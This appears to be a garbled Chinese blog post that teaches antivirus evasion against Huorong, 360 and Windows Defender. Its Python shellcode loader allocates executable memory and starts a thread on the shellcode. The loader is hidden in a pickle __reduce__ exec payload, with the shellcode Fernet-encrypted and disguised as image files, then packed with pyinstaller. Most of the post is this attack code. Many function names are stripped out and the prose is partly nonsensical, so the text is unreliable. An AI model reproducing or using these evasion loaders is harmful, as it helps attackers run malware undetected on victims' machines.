python反序列化杀毒方法,用于火绒、❸❶♀、windows Defender
一种python反序列化杀毒方法,火绒、360、A Windows thon loader
下面是python分离加载的具体例子
import ctypesf=open('','rb')shellcode=()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为.restype=#申请内存ptr=((0),(len(shellcode)),(0x3000),(0x40))#放入shellcodebuf=( *len(shellcode)).from_buffer(shellcode)((ptr),buf,(len(shellcode)))
#从shellcode创建一个线程,将第一个地址放在该位置,开始执行360 添加反序列化语句,代码如下 测试完我很幸运,直接绕过了windows 简单介绍一下目前的进展 首先测试Windows静态扫描 发现icoes❀和png文件在这里报告的方式不止一种,比如放在服务器上,编码静态文件等。 #defender_pickle_dump.py。 我在杀毒学习过程中学到的是一个想法。随着防病毒的揭秘->防病毒的提高,防病毒的难度也会增加 记住,防病毒杀学是讲思路,而不是具体方法。本文仅提供一个想法。如果你善于思考,还应该考虑几种方法的结合。![]()
![]()
果然大街上的代码肯定过不了反刺客的。今天就从这里开始一步步过卫者
![]()
Pre-Basic
>>>from importFernet>>>#Put this somewhere safe!>>>key =()>>>f =Fernet(key)>>>token =(b"Areally secret message. Not for prying eyes.")>>>token'...'>>>(token)'Areally secret message. Not for prying eyes.'使用反序列化方便两个都比较简单
#pickle dumpimport pickle
shellcode="""importctypes
f= open('', 'rb')shellcode= ()shellcode= bytearray(shellcode)#设置VirtualAlloc返回类型为.restype= #申请内存ptr= ((0),(len(shellcode)), (0x3000),(0x40))#放入shellcodebuf= ( *len(shellcode)).from_buffer(shellcode)( (ptr), buf, (len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle= ( (0), (0), (ptr), (0), (0), ((0)))#等待上面创建的线程运行完((handle),(-1))"""
class A(object): def __reduce__(self): return(exec,(shellcode,))
ret=(A())with open("",'wb')asimg: (ret)#pickle loadimport pickleimport ctypes#try:# temp = open("", "rb").read()# shellcode = (temp)#except Exception as err:# print("err = {0}".format(err))# input("123")
temp=open("","rb").read()shellcode=(temp)#pyinstaller -F .\defender_pickle_load.py![]()
![]()
继续测试260
![]()
![]()
#-*- coding:utf-8 -*#对静态文件进行加密from import Fernet
#shellcode 加密你也可以分离免杀test_f=open('','rb')shellcode=test_()shellcode=bytearray(shellcode)
()#加密key=()f=Fernet(key)enc_pay=(bytes(shellcode))print(key)print("=========")
#写入shell2.pngtest_f=open("./","w+")(())()output_key="key= {0}".format(key)print(output_key)
print("f_obj= Fernet(key)")
print("shellcode= (shellcode)")
print("shellcode= bytearray(shellcode)")
#shellcode 加密你也可以分离免杀test_f=open('','rb')shellcode=test_()shellcode=bytearray(shellcode)
()#加密key=()f=Fernet(key)enc_pay=(bytes(shellcode))print(key)print("=========")
#写入shell2.pngtest_f=open("./","w+")(())()output_key="key= {0}".format(key)print(output_key)
print("f_obj= Fernet(key)")
print("temp= (temp)")import pickle
shellcode="""importctypesfrom import Fernet
f= open('', 'rb')shellcode= ()key= b'Qepn_OLOyeXP-ZmoGCgApu0AqcE35VCMwO7t_H0L5co='f_obj= Fernet(key)shellcode= (shellcode)shellcode= bytearray(shellcode)
#设置VirtualAlloc返回类型为.restype= #申请内存ptr= ((0),(len(shellcode)), (0x3000),(0x40))#放入shellcodebuf= ( *len(shellcode)).from_buffer(shellcode)( (ptr), buf, (len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle= ( (0), (0), (ptr), (0), (0), ((0)))#等待上面创建的线程运行完((handle),(-1))"""
class A(object): def __reduce__(self): return(exec,(shellcode,))
ret=(A())with open("",'wb')asimg: (ret)import pickleimport ctypesfrom importFernet
#try:# temp = open("", "rb").read()# shellcode = (temp)#except Exception as err:# print("err = {0}".format(err))# input("123")
temp=open("","rb").read()
key=b'M6__BRADkFnVsgeqvLEdFXN59uesecCTctVa-k3UhTw='f_obj=Fernet(key)temp=(temp)
shellcode=(temp)![]()
3写在最后
版权声明
本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。
code前端网
